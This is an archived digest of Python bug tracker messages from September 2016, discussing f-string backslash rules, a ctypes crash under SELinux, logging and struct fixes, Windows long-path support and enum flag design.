From: report at bugs.python.org (cfgbd)
Date: Sat, 03 Sep 2016 03:12:11 +0000
Subject: [issue27947] Trailing backslash in raw string format causes EOL
In-Reply-To: <1472870874.89.0.189618974966.issue27947@psf.upfronthosting.co.za>
Message-ID: <1472872331.49.0.992463291438.issue27947@psf.upfronthosting.co.za>


cfgbd added the comment:

Thanks for comment. Here I got my answer from string docs.

Even in a raw literal, quotes can be escaped with a backslash, but the backslash remains in the result; for example, r"\"" is a valid string literal consisting of two characters: a backslash and a double quote; r"\" is not a valid string literal (even a raw string cannot end in an odd number of backslashes). Specifically, a raw literal cannot end in a single backslash (since the backslash would escape the following quote character). Note also that a single backslash followed by a newline is interpreted as those two characters as part of the literal, not as a line continuation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27947>
_______________________________________

From report at bugs.python.org  Sat Sep  3 00:33:39 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 03 Sep 2016 04:33:39 +0000
Subject: [issue27883] Update sqlite version for Windows build
In-Reply-To: <1472383089.76.0.501181258195.issue27883@psf.upfronthosting.co.za>
Message-ID: <1472877219.21.0.355131672256.issue27883@psf.upfronthosting.co.za>


Zachary Ware added the comment:

I agree, we should update our sqlite version.  I'll try to get to this next week, but it shouldn't be a big deal if it misses beta 1 since it's not a new feature.

----------
stage:  -> needs patch
title: sqlite-3.14.1 for Python_3.6.0b1 ? -> Update sqlite version for Windows build

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27883>
_______________________________________

From report at bugs.python.org  Sat Sep  3 00:38:19 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 03 Sep 2016 04:38:19 +0000
Subject: [issue19489] move quick search box above TOC
In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za>
Message-ID: <1472877499.27.0.457230237049.issue19489@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Berker, would you mind giving this another look?  If you give it the OK, I can get it committed if you don't beat me to it.

----------
assignee: docs at python -> berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19489>
_______________________________________

From report at bugs.python.org  Sat Sep  3 01:35:34 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Sat, 03 Sep 2016 05:35:34 +0000
Subject: [issue19108] Benchmark runner tries to execute external Python
 command and fails on error reporting
In-Reply-To: <1380297636.45.0.339184347104.issue19108@psf.upfronthosting.co.za>
Message-ID: <1472880934.37.0.92623558552.issue19108@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

Let's close this as outdated. New bugs for the new project should be reported in github anyway.

----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19108>
_______________________________________

From report at bugs.python.org  Sat Sep  3 03:44:42 2016
From: report at bugs.python.org (Armin Rigo)
Date: Sat, 03 Sep 2016 07:44:42 +0000
Subject: [issue25653] ctypes+callbacks+fork+selinux = crash
In-Reply-To: <1447826584.36.0.973987165664.issue25653@psf.upfronthosting.co.za>
Message-ID: <1472888682.84.0.81965844381.issue25653@psf.upfronthosting.co.za>


Armin Rigo added the comment:

Attached trivial example.  This gives for me a bus error when run with selinux (actually tested by changing the "return 0;" to "return 1;" in selinux_enabled_check() file Modules/_ctypes/libffi/src/closures.c).

If you comment out any of the two do_stuff() calls, everything works fine.

----------
Added file: http://bugs.python.org/file44353/x.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25653>
_______________________________________

From report at bugs.python.org  Sat Sep  3 03:45:16 2016
From: report at bugs.python.org (Armin Rigo)
Date: Sat, 03 Sep 2016 07:45:16 +0000
Subject: [issue25653] ctypes+callbacks+fork+selinux = crash
In-Reply-To: <1447826584.36.0.973987165664.issue25653@psf.upfronthosting.co.za>
Message-ID: <1472888716.53.0.82488381012.issue25653@psf.upfronthosting.co.za>


Changes by Armin Rigo <arigo at users.sourceforge.net>:


----------
versions: +Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25653>
_______________________________________

From report at bugs.python.org  Sat Sep  3 04:57:57 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 03 Sep 2016 08:57:57 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <1472893077.23.0.168515392432.issue27936@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger
resolution:  -> fixed
status: open -> closed
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Sat Sep  3 04:55:50 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 08:55:50 +0000
Subject: [issue27936] Inconsistent round behavior between float and int
In-Reply-To: <1472799175.75.0.400083322493.issue27936@psf.upfronthosting.co.za>
Message-ID: <20160903085547.22588.26190.3EC634AB@psf.io>


Roundup Robot added the comment:

New changeset c3c4d8e4ca1a by Raymond Hettinger in branch '3.5':
Issue 27936: Fix inconsistent round() behavior between float and int
https://hg.python.org/cpython/rev/c3c4d8e4ca1a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27936>
_______________________________________

From report at bugs.python.org  Sat Sep  3 05:55:09 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 03 Sep 2016 09:55:09 +0000
Subject: [issue25653] ctypes+callbacks+fork+selinux = crash
In-Reply-To: <1447826584.36.0.973987165664.issue25653@psf.upfronthosting.co.za>
Message-ID: <1472896509.47.0.426783122347.issue25653@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25653>
_______________________________________

From report at bugs.python.org  Sat Sep  3 06:07:28 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 03 Sep 2016 10:07:28 +0000
Subject: [issue25653] ctypes+callbacks+fork+selinux = crash
In-Reply-To: <1447826584.36.0.973987165664.issue25653@psf.upfronthosting.co.za>
Message-ID: <1472897248.23.0.810503651354.issue25653@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks Armin,

I didn't know that your reported the bug in bugs.python.org until today. Last year Armin and I spent a good amount of time to analyse the situation. Armin was able to come up with a different callback implementation for cffi that that does not use W/X memory mappings.

The problem affects mod_wsgi applications on SELinux systems (Fedora, CentOS, RHEL). For security reasons SELinux prevents Apache HTTPD to have writeable and executable memory pages. FFI callbacks with dynamic closures either require the fd workaround (which is buggy) or the application segfaults.

https://bugzilla.redhat.com/show_bug.cgi?id=1277224
https://bugzilla.redhat.com/show_bug.cgi?id=1337141
https://bugzilla.redhat.com/show_bug.cgi?id=1249685

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25653>
_______________________________________

From report at bugs.python.org  Sat Sep  3 08:27:24 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 03 Sep 2016 12:27:24 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1472905644.09.0.302623025423.issue27923@psf.upfronthosting.co.za>


Martin Panter added the comment:

Sorry Elias for not explaining my commands. xclip was just my way of pasting the patch URL from the clipboard (that I copied from Firefox).

It is not clear if we are actually making a DeprecationWarning, or going down the road of changing all the stdlib. But if we do, there are a couple of bits of Serhiy?s patch that I would rewrite more plainly, e.g. bytearray(b'\0\0') * len(...) instead of bytearray(b'\0') * (2 * len(...)).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Sat Sep  3 08:33:47 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 03 Sep 2016 12:33:47 +0000
Subject: [issue19489] move quick search box above TOC
In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za>
Message-ID: <1472906027.05.0.638523456241.issue19489@psf.upfronthosting.co.za>


Berker Peksag added the comment:

> Do you mean in addition to the "Quick search" text that is already on the page or do you want to remove that?

The latter. All of the popular browsers (Chrome, Firefox, Edge and even Safari) already support the placeholder attribute so I think we can safely ignore IE 8 :)

> What problems are you thinking of?

Honestly, I can't remember now, but I was talking about old Chrome and Firefox versions. Let's ignore my comment for now.

I have two more minor comments:

1. +    <div class="inline-search" style="display: none" role="search">

   I know this is basically a copy of upstream searchbox.html, but we can probably remove ``style="display: none"`` and ``$('.inline-search').show(0);``.

2. +    <li class="right inline-search">

   inline-search doesn't seem to be necessary here. ``display: inline`` is already applied by ``div.related li``.

I also found a regression in search.html. It doesn't show or highlight the search
words provided in the URL. Try the following URL to reproduce the problem: https://docs.python.org/dev/search.html?q=append

Screenshot from docs.python.org: https://dl.dropboxusercontent.com/u/166024/highlight-docs.pyo.png

Screenshor from my local copy with searchbar_in_header.diff3 applied: https://dl.dropboxusercontent.com/u/166024/highlight-after.png

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19489>
_______________________________________

From report at bugs.python.org  Sat Sep  3 09:18:41 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 13:18:41 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <20160903131837.37966.94593.33112E04@psf.io>


Roundup Robot added the comment:

New changeset d7ce127b5c0f by Eric V. Smith in branch 'default':
Closes issue 27921: Disallow backslashes anywhere in f-strings. This is a temporary restriction. In 3.6 beta 2, the plan is to again allow backslashes in the string parts of f-strings, but disallow them in the expression parts.
https://hg.python.org/cpython/rev/d7ce127b5c0f

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Sat Sep  3 09:24:05 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 03 Sep 2016 13:24:05 +0000
Subject: [issue27948] f-strings: allow backslashes only in the string parts,
 not in the expression parts
Message-ID: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>


New submission from Eric V. Smith:

See issue 27921.

Currently (and for 3.6 beta 1), backslashes are not allowed anywhere in f-strings. This needs to be changed to allow them in the string parts, but not in the expression parts.

Also, require that the start and end of an expression be literal '{' and '}, not escapes like '\0x7b' and '\u007d'.

----------
assignee: eric.smith
components: Interpreter Core
messages: 274294
nosy: eric.smith
priority: normal
severity: normal
stage: needs patch
status: open
title: f-strings: allow backslashes only in the string parts, not in the expression parts
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Sat Sep  3 09:24:42 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 03 Sep 2016 13:24:42 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <1472909082.26.0.320114389968.issue27921@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

See issue 27948 for adding backslashes back in to the string parts of an f-string.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Sat Sep  3 10:43:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 14:43:28 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <20160903144325.22226.79641.E911C41C@psf.io>


Roundup Robot added the comment:

New changeset 899ee1e68a8d by Eric V. Smith in branch 'default':
Issue 27921: Remove backslash from another f-string.
https://hg.python.org/cpython/rev/899ee1e68a8d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Sat Sep  3 10:44:33 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 03 Sep 2016 14:44:33 +0000
Subject: [issue27949] Fix description in bytes literal doc
Message-ID: <1472913873.18.0.202721343298.issue27949@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

This sentence "bytes with a numeric value of 128 or greater must be expressed with escapes" is wrong and not complete. The value needs to be escaped is >= 127 and < 32.

----------
assignee: docs at python
components: Documentation
files: lexical_bytes_literal.patch
keywords: patch
messages: 274297
nosy: docs at python, xiang.zhang
priority: normal
severity: normal
status: open
title: Fix description in bytes literal doc
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44354/lexical_bytes_literal.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27949>
_______________________________________

From report at bugs.python.org  Sat Sep  3 10:54:45 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 03 Sep 2016 14:54:45 +0000
Subject: [issue27949] Fix description in bytes literal doc
In-Reply-To: <1472913873.18.0.202721343298.issue27949@psf.upfronthosting.co.za>
Message-ID: <1472914485.77.0.386457290578.issue27949@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

While they probably should be entered with escapes, there's no actual technical requirement for that.

>From the command line, I can enter a control-A with control-V control-A (this might be different depending on your environment, or if you use an editor). This will enter a literal string containing a single character with value 1.

That gives:

>>> '^A'     # ^A is the combination control-V control-A
'\x01'
>>> len('^A')
1
>>> ord('^A')
1
>>> b'^A'
b'\x01'

----------
nosy: +eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27949>
_______________________________________

From report at bugs.python.org  Sat Sep  3 11:01:23 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 03 Sep 2016 15:01:23 +0000
Subject: [issue27949] Fix description in bytes literal doc
In-Reply-To: <1472913873.18.0.202721343298.issue27949@psf.upfronthosting.co.za>
Message-ID: <1472914883.91.0.906896080372.issue27949@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Ooh, sorry. It seems I misunderstand the meaning of the sentence. I understand the value as the output of repr, I mean b'\x01'. It means how it's created.

Thanks for your reply and sorry for the noise. I close this then.

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27949>
_______________________________________

From report at bugs.python.org  Sat Sep  3 11:06:20 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 03 Sep 2016 15:06:20 +0000
Subject: [issue27949] Fix description in bytes literal doc
In-Reply-To: <1472913873.18.0.202721343298.issue27949@psf.upfronthosting.co.za>
Message-ID: <1472915180.01.0.822211321796.issue27949@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

No problem! Thanks for caring enough to open an issue and submit a patch, even if we don't use it.

----------
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27949>
_______________________________________

From report at bugs.python.org  Sat Sep  3 11:07:33 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 15:07:33 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <20160903150729.22059.56340.B58FED8F@psf.io>


Roundup Robot added the comment:

New changeset 80eb6eb57537 by Eric V. Smith in branch 'default':
Issue 27921: Remove backslash from another f-string. I'll revert this change before beta 2.
https://hg.python.org/cpython/rev/80eb6eb57537

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Sat Sep  3 11:55:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 15:55:45 +0000
Subject: [issue27937] logging.getLevelName microoptimization
In-Reply-To: <1472805188.28.0.230242025346.issue27937@psf.upfronthosting.co.za>
Message-ID: <20160903155542.9612.64830.011B3E6F@psf.io>


Roundup Robot added the comment:

New changeset 0986401d0733 by Vinay Sajip in branch 'default':
Fixes #27937: optimise code used in all logging calls.
https://hg.python.org/cpython/rev/0986401d0733

New changeset e4b6faf22e8d by Vinay Sajip in branch '3.5':
Fixes #27937: optimise code used in all logging calls.
https://hg.python.org/cpython/rev/e4b6faf22e8d

New changeset 773c9401735f by Vinay Sajip in branch 'default':
Closes #27937: Merge fix from 3.5.
https://hg.python.org/cpython/rev/773c9401735f

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27937>
_______________________________________

From report at bugs.python.org  Sat Sep  3 11:59:16 2016
From: report at bugs.python.org (Vinay Sajip)
Date: Sat, 03 Sep 2016 15:59:16 +0000
Subject: [issue27935] logging level FATAL missing in _nameToLevel
In-Reply-To: <1472797942.24.0.349970976143.issue27935@psf.upfronthosting.co.za>
Message-ID: <1472918356.85.0.00431987556571.issue27935@psf.upfronthosting.co.za>


Vinay Sajip added the comment:

As this is an (admittedly small) change in behaviour, I'll apply in 3.6.

----------
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27935>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:01:45 2016
From: report at bugs.python.org (Armin Rigo)
Date: Sat, 03 Sep 2016 16:01:45 +0000
Subject: [issue25653] ctypes+callbacks+fork+selinux = crash
In-Reply-To: <1447826584.36.0.973987165664.issue25653@psf.upfronthosting.co.za>
Message-ID: <1472918505.67.0.952003398096.issue25653@psf.upfronthosting.co.za>


Armin Rigo added the comment:

For completeness:

* the crasher I attached gets a bus error even before calling
  ffi_closure_free().  At that point, only ffi_closure_alloc() has been
  called---in both parent and child.

* stricly speaking, cffi is not fixed: it has the same problem when
  using callbacks like ctypes.  What Christian talks about is an 
  alternative API that we came up with.  It requires the user code to be
  slightly different, and is only available if using a C compiler is
  acceptable; it is not available in the ctypes-like mode.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25653>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:04:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 16:04:45 +0000
Subject: [issue27935] logging level FATAL missing in _nameToLevel
In-Reply-To: <1472797942.24.0.349970976143.issue27935@psf.upfronthosting.co.za>
Message-ID: <20160903160442.6446.25854.DFC6F005@psf.io>


Roundup Robot added the comment:

New changeset 85f9f8bf2ec8 by Vinay Sajip in branch 'default':
Closes #27935: returned numeric value for 'FATAL' logging level.
https://hg.python.org/cpython/rev/85f9f8bf2ec8

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27935>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:05:42 2016
From: report at bugs.python.org (Vinay Sajip)
Date: Sat, 03 Sep 2016 16:05:42 +0000
Subject: [issue27930] logging's QueueListener drops log messages
In-Reply-To: <1472742959.65.0.510011909854.issue27930@psf.upfronthosting.co.za>
Message-ID: <1472918742.35.0.852713200443.issue27930@psf.upfronthosting.co.za>


Vinay Sajip added the comment:

Removed 3.3 and 3.4 as they are not in scope for non-security issues.

----------
versions:  -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27930>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:14:34 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 03 Sep 2016 16:14:34 +0000
Subject: [issue19489] move quick search box above TOC
In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za>
Message-ID: <1472919274.19.0.811846014135.issue19489@psf.upfronthosting.co.za>


Berker Peksag added the comment:

> I also found a regression in search.html.

Please ignore this. It doesn't have anything to do with your patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19489>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:23:04 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 16:23:04 +0000
Subject: [issue11734] Add half-float (16-bit) support to struct module
In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za>
Message-ID: <20160903162301.22565.24716.4A6FF33C@psf.io>


Roundup Robot added the comment:

New changeset 519bde9db8e0 by Mark Dickinson in branch 'default':
Issue #11734: Add support for IEEE 754 half-precision floats to the struct module. Original patch by Eli Stevens.
https://hg.python.org/cpython/rev/519bde9db8e0

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11734>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:23:35 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 03 Sep 2016 16:23:35 +0000
Subject: [issue11734] Add half-float (16-bit) support to struct module
In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za>
Message-ID: <1472919815.96.0.465175856316.issue11734@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11734>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:27:00 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 03 Sep 2016 16:27:00 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472920020.84.0.545996489324.issue27934@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
assignee:  -> mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:33:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 16:33:48 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <20160903163345.114904.75133.8FBEBB8B@psf.io>


Roundup Robot added the comment:

New changeset fd4e4fa75260 by Eric V. Smith in branch 'default':
Issue 27921: Remove backslash from another f-string. I'll revert this change before beta 2. I also need to look in to why test_tools/test_unparse fails with the files that are now being skipped.
https://hg.python.org/cpython/rev/fd4e4fa75260

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:45:16 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 16:45:16 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <20160903164511.68987.46558.861573FF@psf.io>


Roundup Robot added the comment:

New changeset 86d66a627b77 by Mark Dickinson in branch '2.7':
Issue #27934: Use float.__repr__ instead of plain repr when JSON-encoding an instance of a float subclass. Thanks Eddie James.
https://hg.python.org/cpython/rev/86d66a627b77

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:45:39 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 03 Sep 2016 16:45:39 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472921139.2.0.584841409174.issue27934@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Sat Sep  3 12:52:18 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sat, 03 Sep 2016 16:52:18 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1472921538.81.0.262487627575.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Hmm... so if I read you right:

1) IntFlags is not simply the meet of int and Flags (like IntEnum is the meet of int and Enum, https://docs.python.org/3.5/library/enum.html#others)? It seems a very different class.

2) (more important) If I give names to 1, 3, 4, and 6, you're in fact saying that MyFlags(7) == MyFlags(5) (since 2 is never set)? Seems like succumbing to temptation to guess. ;-/ But maybe it's not bad in this case, since there is really no ambiguity.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sat Sep  3 13:00:59 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 03 Sep 2016 17:00:59 +0000
Subject: [issue27731] Opt-out of MAX_PATH on Windows 10
In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za>
Message-ID: <1472922059.1.0.762957636637.issue27731@psf.upfronthosting.co.za>


Steve Dower added the comment:

Just discovered that this actually requires enabling the group policy for long paths - specifically setting HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem at LongPathsEnabled to 1.

Apparently the manifest is also required, but in my testing the manifest is ignored and we just get long path support for free. So perhaps we should just add a message to file exceptions when the path is >260?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27731>
_______________________________________

From report at bugs.python.org  Sat Sep  3 13:01:31 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 03 Sep 2016 17:01:31 +0000
Subject: [issue27731] Opt-out of MAX_PATH on Windows 10
In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za>
Message-ID: <1472922091.95.0.233255395362.issue27731@psf.upfronthosting.co.za>


Steve Dower added the comment:

More info at https://blogs.msdn.microsoft.com/jeremykuhne/2016/07/30/net-4-6-2-and-long-paths-on-windows-10/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27731>
_______________________________________

From report at bugs.python.org  Sat Sep  3 13:06:57 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 03 Sep 2016 17:06:57 +0000
Subject: [issue26513] platform.win32_ver() broken in 2.7.11
In-Reply-To: <1457473293.66.0.928061603359.issue26513@psf.upfronthosting.co.za>
Message-ID: <1472922417.21.0.599826629325.issue26513@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'll try and get to this during the week. I believe it's a fairly simple fix, though it will mean that platform.py diverges between 2.7 and 3.5+.

----------
resolution: fixed -> 
stage: resolved -> needs patch
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26513>
_______________________________________

From report at bugs.python.org  Sat Sep  3 13:08:36 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 03 Sep 2016 17:08:36 +0000
Subject: [issue25405] User install of 3.5 removes py.exe from C:\Windows
In-Reply-To: <1444828075.41.0.296808473589.issue25405@psf.upfronthosting.co.za>
Message-ID: <1472922516.53.0.4848276281.issue25405@psf.upfronthosting.co.za>


Steve Dower added the comment:

I believe this issue is fixed (as of 3.5.1), and I don't specifically know what I'd do to make it more fixed, so I'm closing this.

Changing the configuration of the launcher is a separate discussion.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25405>
_______________________________________

From report at bugs.python.org  Sat Sep  3 13:18:13 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 03 Sep 2016 17:18:13 +0000
Subject: [issue27950] Superflous messages when running make
Message-ID: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Every time running make I can get such messages:

# Substitution happens here, as the completely-expanded BINDIR
# is not available in configure
sed -e "s, at EXENAME@,/usr/local/bin/python3.6m," < ./Misc/python-config.in >python-config.py
# Replace makefile compat. variable references with shell script compat. ones;  -> 
sed -e 's,\$(\([A-Za-z0-9_]*\)),\$\{\1\},g' < Misc/python-config.sh >python-config
# On Darwin, always use the python version of the script, the shell
# version doesn't use the compiler customizations that are provided
# in python (_osx_support.py).
if test `uname -s` = Darwin; then \
	cp python-config.py python-config; \
fi

and 

./python -E -S -m sysconfig --generate-posix-vars ;\
if test $? -ne 0 ; then \
	echo "generate-posix-vars failed" ; \
	rm -f ./pybuilddir.txt ; \
	exit 1 ; \
fi

I think the comment and if part has no need to prompt to users.

Also running some recipes regarding coverage like run_profile_task will prompt 

: # FIXME: can't run for a cross build

Need to get a fix for this?

----------
components: Build
messages: 274316
nosy: ned.deily, xiang.zhang
priority: normal
severity: normal
status: open
title: Superflous messages when running make
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sat Sep  3 13:37:59 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sat, 03 Sep 2016 17:37:59 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1472924279.55.0.351213448028.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

> 1) IntFlags is not simply the meet of int and Flags (like IntEnum is the
> meet of int and Enum,
> https://docs.python.org/3.5/library/enum.html#others)?
> It seems a very different class.

